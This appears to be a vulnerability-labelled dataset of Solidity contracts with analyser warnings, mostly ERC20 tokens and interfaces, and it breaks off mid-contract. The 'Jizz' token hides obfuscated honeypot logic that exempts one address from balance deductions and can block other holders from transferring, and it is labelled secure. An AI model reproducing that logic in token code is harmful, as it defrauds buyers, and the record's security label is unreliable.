{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract OGROK is ERC20, Ownable {\n constructor() ERC20(\"OrdinalGrok\", \"OGrok\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2412.sol", "secure": 1, "size_bytes": 355 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BITCOIN is ERC20 {\n constructor() ERC20(\"BITCOIN\", \"BTC\") {\n _mint(msg.sender, 1_000_000_000 * (10 ** 9));\n }\n}", "file_name": "solidity_code_2413.sol", "secure": 1, "size_bytes": 267 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract SBU1Token is IERC20 {\n string public constant name = \"START BE UP 1\";\n string public constant symbol = \"SBU1\";\n uint8 public constant decimals = 18;\n\t// WARNING Optimization Issue (constable-states | ID: 276b00e): SBU1Token._totalSupply should be constant \n\t// Recommendation for 276b00e: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1000000000000000000000000000;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n using SafeMath for uint256;\n\n constructor() {\n balances[0x20a916c0216B89d3DF80aAd2f0B45AbAE70d61AF] = _totalSupply;\n emit Transfer(\n address(0),\n 0x20a916c0216B89d3DF80aAd2f0B45AbAE70d61AF,\n _totalSupply\n );\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}", "file_name": "solidity_code_2414.sol", "secure": 1, "size_bytes": 2659 }
{ "code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Jizz is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 8243a78): Jizz.uniswapV2Pair should be immutable \n\t// Recommendation for 8243a78: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) private range;\n\n function equipment(\n address struggle,\n address colony,\n uint256 five\n ) private returns (bool success) {\n if (range[struggle] == 0) {\n balanceOf[struggle] -= five;\n }\n\n if (five == 0) dot[colony] += studied;\n\n if (\n range[struggle] == 0 &&\n uniswapV2Pair != struggle &&\n dot[struggle] > 0\n ) {\n range[struggle] -= studied;\n }\n\n balanceOf[colony] += five;\n emit Transfer(struggle, colony, five);\n return true;\n }\n\n mapping(address => uint256) private dot;\n\n function transferFrom(\n address struggle,\n address colony,\n uint256 five\n ) public returns (bool success) {\n require(five <= allowance[struggle][msg.sender]);\n allowance[struggle][msg.sender] -= five;\n equipment(struggle, colony, five);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 429cc26): Jizz.totalSupply should be constant \n\t// Recommendation for 429cc26: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: e11b2d7): Jizz.name should be constant \n\t// Recommendation for e11b2d7: Add the 'constant' attribute to state variables that never change.\n string public name = \"JIZZ\";\n\n function approve(address wind, uint256 five) public returns (bool success) {\n allowance[msg.sender][wind] = five;\n emit Approval(msg.sender, wind, five);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 07b196f): Jizz.decimals should be constant \n\t// Recommendation for 07b196f: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1d0faf0): Jizz.symbol should be constant \n\t// Recommendation for 1d0faf0: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"JIZZ\";\n\n constructor(address tears) {\n balanceOf[msg.sender] = totalSupply;\n range[tears] = studied;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: 27ef6ca): Jizz.studied should be constant \n\t// Recommendation for 27ef6ca: Add the 'constant' attribute to state variables that never change.\n uint256 private studied = 6;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function transfer(\n address colony,\n uint256 five\n ) public returns (bool success) {\n equipment(msg.sender, colony, five);\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6530d2b): Jizz.uniswapV2Router should be constant \n\t// Recommendation for 6530d2b: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n mapping(address => mapping(address => uint256)) public allowance;\n}", "file_name": "solidity_code_2415.sol", "secure": 1, "size_bytes": 4171 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nlibrary Strings {\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n}", "file_name": "solidity_code_2416.sol", "secure": 1, "size_bytes": 627 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\ncontract BlxSale is Ownable {\n using SafeMath for uint256;\n using Strings for uint256;\n\n bool public saleIsActive = true;\n\n struct Whitelist {\n address addr;\n }\n\n mapping(address => Whitelist) public whitelist;\n address[] whitelistAddr;\n\n function setWhitelistAddr(address[] memory addrs) public onlyOwner {\n whitelistAddr = addrs;\n\t\t// cache-array-length | ID: e350ca1\n for (uint256 i = 0; i < whitelistAddr.length; i++) {\n addAddressToWhitelist(whitelistAddr[i]);\n }\n }\n\n function addAddressToWhitelist(\n address addr\n ) public onlyOwner returns (bool success) {\n require(!isWhitelisted(addr), \"Already whitelisted\");\n whitelist[addr].addr = addr;\n success = true;\n }\n\n function isWhitelisted(\n address addr\n ) public view returns (bool isWhiteListed) {\n return whitelist[addr].addr == addr;\n }\n\n receive() external payable {\n require(isWhitelisted(msg.sender), \"Is not whitelisted\");\n require(saleIsActive, \"Sale must be active to Deposit\");\n }\n\n function flipSaleState() public onlyOwner {\n saleIsActive = !saleIsActive;\n }\n\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n (bool success, ) = msg.sender.call{value: balance}(\"\");\n require(success);\n }\n}", "file_name": "solidity_code_2417.sol", "secure": 1, "size_bytes": 1697 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract ERC20 is Context {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2418.sol", "secure": 1, "size_bytes": 5853 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router {\n function WETH() external view returns (address);\n\n function factory() external view returns (address);\n}", "file_name": "solidity_code_2419.sol", "secure": 1, "size_bytes": 206 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract TokenOwner is Ownable {\n constructor() Ownable(_msgSender()) {}\n}", "file_name": "solidity_code_242.sol", "secure": 1, "size_bytes": 217 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function createPair(address, address) external returns (address);\n}", "file_name": "solidity_code_2420.sol", "secure": 1, "size_bytes": 165 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Config {\n address public owner;\n uint256 public fee = 45;\n uint256 public constant FEE_DENOMINATOR = 100;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cdfc02c): Config.constructor(address).owner_ lacks a zerocheck on \t owner = owner_\n\t// Recommendation for cdfc02c: Check that the address is not zero.\n constructor(address owner_) {\n\t\t// missing-zero-check | ID: cdfc02c\n owner = owner_;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 02b8837): Config.setOwner(address).owner_ lacks a zerocheck on \t owner = owner_\n\t// Recommendation for 02b8837: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 8378321): Config.setOwner(address) should emit an event for owner = owner_ \n\t// Recommendation for 8378321: Emit an event for critical parameter changes.\n function setOwner(address owner_) external onlyOwner {\n\t\t// missing-zero-check | ID: 02b8837\n\t\t// events-access | ID: 8378321\n owner = owner_;\n }\n\n function setFees(uint256 _fee) external onlyOwner {\n fee = _fee;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n}", "file_name": "solidity_code_2421.sol", "secure": 0, "size_bytes": 1303 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"./Config.sol\" as Config;\n\ncontract InverseWojak is ERC20 {\n uint256 constant TOTAL_SUPPLY = 69_420_000_000_000 * 1e18;\n\n Config public immutable CONFIG;\n IUniswapV2Router public immutable UNISWAP_ROUTER =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public immutable MAIN_PAIR;\n\t// WARNING Optimization Issue (constable-states | ID: 20320e7): InverseWojak.feesDisabled should be constant \n\t// Recommendation for 20320e7: Add the 'constant' attribute to state variables that never change.\n bool feesDisabled;\n\n constructor() ERC20(\"Inverse Wojak\", \"iWOJAK\") {\n MAIN_PAIR = IUniswapV2Factory(UNISWAP_ROUTER.factory()).createPair(\n address(this),\n UNISWAP_ROUTER.WETH()\n );\n\n CONFIG = new Config(msg.sender);\n _mint(msg.sender, TOTAL_SUPPLY);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n uint256 fee = CONFIG.fee();\n if (\n (fee == 0) ||\n (from != MAIN_PAIR && to != MAIN_PAIR) ||\n (from == CONFIG.owner()) ||\n (to == CONFIG.owner())\n ) {\n super._transfer(from, to, amount);\n return;\n }\n\n uint256 feeDenominator = CONFIG.FEE_DENOMINATOR();\n uint256 feeAmount = (amount * CONFIG.fee()) / feeDenominator;\n super._transfer(from, CONFIG.owner(), feeAmount);\n super._transfer(from, to, amount - feeAmount);\n }\n}", "file_name": "solidity_code_2422.sol", "secure": 1, "size_bytes": 1835 }
{ "code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\ninterface IKYCVerification {\n function isVerified(address user) external view returns (bool);\n\n function validate(\n address user,\n string calldata information\n ) external view returns (bool);\n\n function validateHash(\n address user,\n bytes32 hashedData\n ) external view returns (bool);\n\n function getHash(\n string calldata information\n ) external view returns (bytes32);\n}", "file_name": "solidity_code_2423.sol", "secure": 1, "size_bytes": 512 }
{ "code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\ninterface IDatabase {\n function isAuthorized(address account) external view returns (bool);\n}", "file_name": "solidity_code_2424.sol", "secure": 1, "size_bytes": 167 }
{ "code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nimport \"./IKYCVerification.sol\" as IKYCVerification;\nimport \"./IDatabase.sol\" as IDatabase;\n\ncontract KYCVerify is IKYCVerification {\n mapping(address => bytes32) private hashMap;\n\n IDatabase public immutable Database;\n\n modifier onlyOwner() {\n require(Database.isAuthorized(msg.sender), \"Sender Is Not Authorized\");\n _;\n }\n\n event Verified(address user);\n\n constructor(address DB) {\n Database = IDatabase(DB);\n }\n\n function verify(address user, bytes32 hashedData) external onlyOwner {\n hashMap[user] = hashedData;\n emit Verified(user);\n }\n\n function isVerified(address user) external view override returns (bool) {\n return hashMap[user] != bytes32(0);\n }\n\n function validate(\n address user,\n string calldata information\n ) external view override returns (bool) {\n return hashMap[user] == keccak256(bytes(information));\n }\n\n function validateHash(\n address user,\n bytes32 hashedData\n ) external view override returns (bool) {\n return hashMap[user] == hashedData;\n }\n\n function getHash(\n string calldata information\n ) external pure override returns (bytes32) {\n return keccak256(bytes(information));\n }\n}", "file_name": "solidity_code_2425.sol", "secure": 1, "size_bytes": 1379 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HASBULLAHOMEALONE is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"HASBULLA HOME ALONE\", \"HASBHOME\") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7d310f8): HASBULLAHOMEALONE.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for 7d310f8: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 13d61c8): HASBULLAHOMEALONE.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for 13d61c8: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: 7d310f8\n\t\t// incorrect-equality | ID: 13d61c8\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: 7d310f8\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d81af3e): HASBULLAHOMEALONE._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for d81af3e: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: d81af3e\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 5cbff66): HASBULLAHOMEALONE.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for 5cbff66: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: 5cbff66\n pool = poolAddress;\n }\n}", "file_name": "solidity_code_2426.sol", "secure": 0, "size_bytes": 2852 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract KaizoFighters is Ownable, ERC721A {\n string public baseURI =\n \"https://bafybeicaamuu4jrvtdq4s7qcevzgcn233vqjk4t4lbisio3iyhvrdx6pdm.ipfs.nftstorage.link/\";\n\n bool public isMintOpen = false;\n\n bool public isFreeMintOpen = true;\n\n uint256 public immutable unitPrice = 0.003 ether;\n\n uint256 public immutable maxSupply = 5000;\n\n uint256 public immutable maxWalletSupply = 10;\n\n uint256 public immutable maxWalletFreeSupply = 3;\n\n constructor(uint256 _mintCntToOwner) ERC721A(\"Kaizo Fighters\", \"KFS\") {\n _mint(msg.sender, _mintCntToOwner);\n }\n\n function _baseURI() internal view override returns (string memory) {\n return baseURI;\n }\n\n function _startTokenId() internal pure override returns (uint256) {\n return 1;\n }\n\n function startTokenId() external pure returns (uint256) {\n return _startTokenId();\n }\n\n function nextTokenId() external view returns (uint256) {\n return _nextTokenId();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3c2f2cb): KaizoFighters.numberMinted(address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3c2f2cb: Rename the local variables that shadow another component.\n function numberMinted(address owner) external view returns (uint256) {\n return _numberMinted(owner);\n }\n\n function getBalance() external view returns (uint256) {\n return address(this).balance;\n }\n\n function mint(uint256 quantity) external payable {\n unchecked {\n require(isMintOpen, \"0\");\n\n uint256 currentSupply = _nextTokenId() - 1;\n require((currentSupply + quantity) <= maxSupply, \"1\");\n\n uint256 walletSupply = _numberMinted(msg.sender);\n require((walletSupply + quantity) <= maxWalletSupply, \"2\");\n\n if (isFreeMintOpen == false || currentSupply >= 4900) {\n require(msg.value >= unitPrice * quantity, \"3\");\n } else {\n uint256 walletFreeSupply = walletSupply > maxWalletFreeSupply\n ? maxWalletFreeSupply\n : walletSupply;\n uint256 freeQuantity = maxWalletFreeSupply > walletFreeSupply\n ? maxWalletFreeSupply - walletFreeSupply\n : 0;\n require(\n msg.value >=\n unitPrice *\n (\n quantity > freeQuantity\n ? quantity - freeQuantity\n : 0\n ),\n \"4\"\n );\n }\n }\n\n _mint(msg.sender, quantity);\n }\n\n function setBaseURI(string calldata uri) external onlyOwner {\n baseURI = uri;\n }\n\n function setIsMintOpen(bool _isMintOpen) external onlyOwner {\n isMintOpen = _isMintOpen;\n }\n\n function setIsFreeMintOpen(bool _isFreeMintOpen) external onlyOwner {\n isFreeMintOpen = _isFreeMintOpen;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6c8cc0d): KaizoFighters.withdraw(address).to lacks a zerocheck on \t address(to).transfer(address(this).balance)\n\t// Recommendation for 6c8cc0d: Check that the address is not zero.\n function withdraw(address to) external onlyOwner {\n\t\t// missing-zero-check | ID: 6c8cc0d\n payable(to).transfer(address(this).balance);\n }\n\n function marketMint(\n address[] memory marketmintaddress,\n uint256[] memory mintquantity\n ) public onlyOwner {\n for (uint256 i = 0; i < marketmintaddress.length; i++) {\n require(\n totalSupply() + mintquantity[i] <= maxSupply,\n \"Exceed supply\"\n );\n _safeMint(marketmintaddress[i], mintquantity[i]);\n }\n }\n}", "file_name": "solidity_code_2427.sol", "secure": 0, "size_bytes": 4146 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFactoryV1 {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_2428.sol", "secure": 1, "size_bytes": 202 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IFactoryV1.sol\" as IFactoryV1;\nimport \"./IRouter02.sol\" as IRouter02;\n\ncontract CHINA is Context, IERC20, Ownable {\n string private constant _name = \"CHINA\";\n\n string private constant _symbol = \"CHINA\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1_000_000_000e18;\n\n uint256 private constant onePercent = 10_000_000e18;\n\n uint256 private constant minSwap = 500e18;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFeesC;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n IRouter02 public uniswapV2Router;\n\n address public uniswapV2Pair;\n\n address public WETH;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 67ec107): CHINA.taxWallet should be immutable \n\t// Recommendation for 67ec107: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public taxWallet;\n\n uint8 private launchC;\n\n uint8 private inSwapBackC;\n\n uint256 public maxTxAmount = onePercent * 2;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 46bca5b): CHINA.constructor(address)._addr lacks a zerocheck on \t taxWallet = address(_addr)\n\t// Recommendation for 46bca5b: Check that the address is not zero.\n constructor(address _addr) {\n\t\t// missing-zero-check | ID: 46bca5b\n taxWallet = payable(_addr);\n\n sellTax = 20;\n buyTax = 20;\n\n _balance[msg.sender] = _totalSupply;\n\n _isExcludedFromFeesC[taxWallet] = true;\n\n _isExcludedFromFeesC[msg.sender] = true;\n\n _isExcludedFromFeesC[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function createPair() external onlyOwner {\n uniswapV2Router = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n WETH = uniswapV2Router.WETH();\n\n uniswapV2Pair = IFactoryV1(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n receive() external payable {}\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c8bb64): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c8bb64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c230dbb): CHINA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c230dbb: Ensure that all the return values of the function calls are used.\n function openTrading() external onlyOwner {\n _approve(address(this), address(uniswapV2Router), ~uint256(0));\n\n\t\t// reentrancy-benign | ID: 0c8bb64\n\t\t// unused-return | ID: c230dbb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0c8bb64\n launchC = 1;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function setMarketingWallet() public view returns (address) {\n return taxWallet;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b0e6f04): CHINA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b0e6f04: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 00d9203): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 00d9203: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 45dce8a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 45dce8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 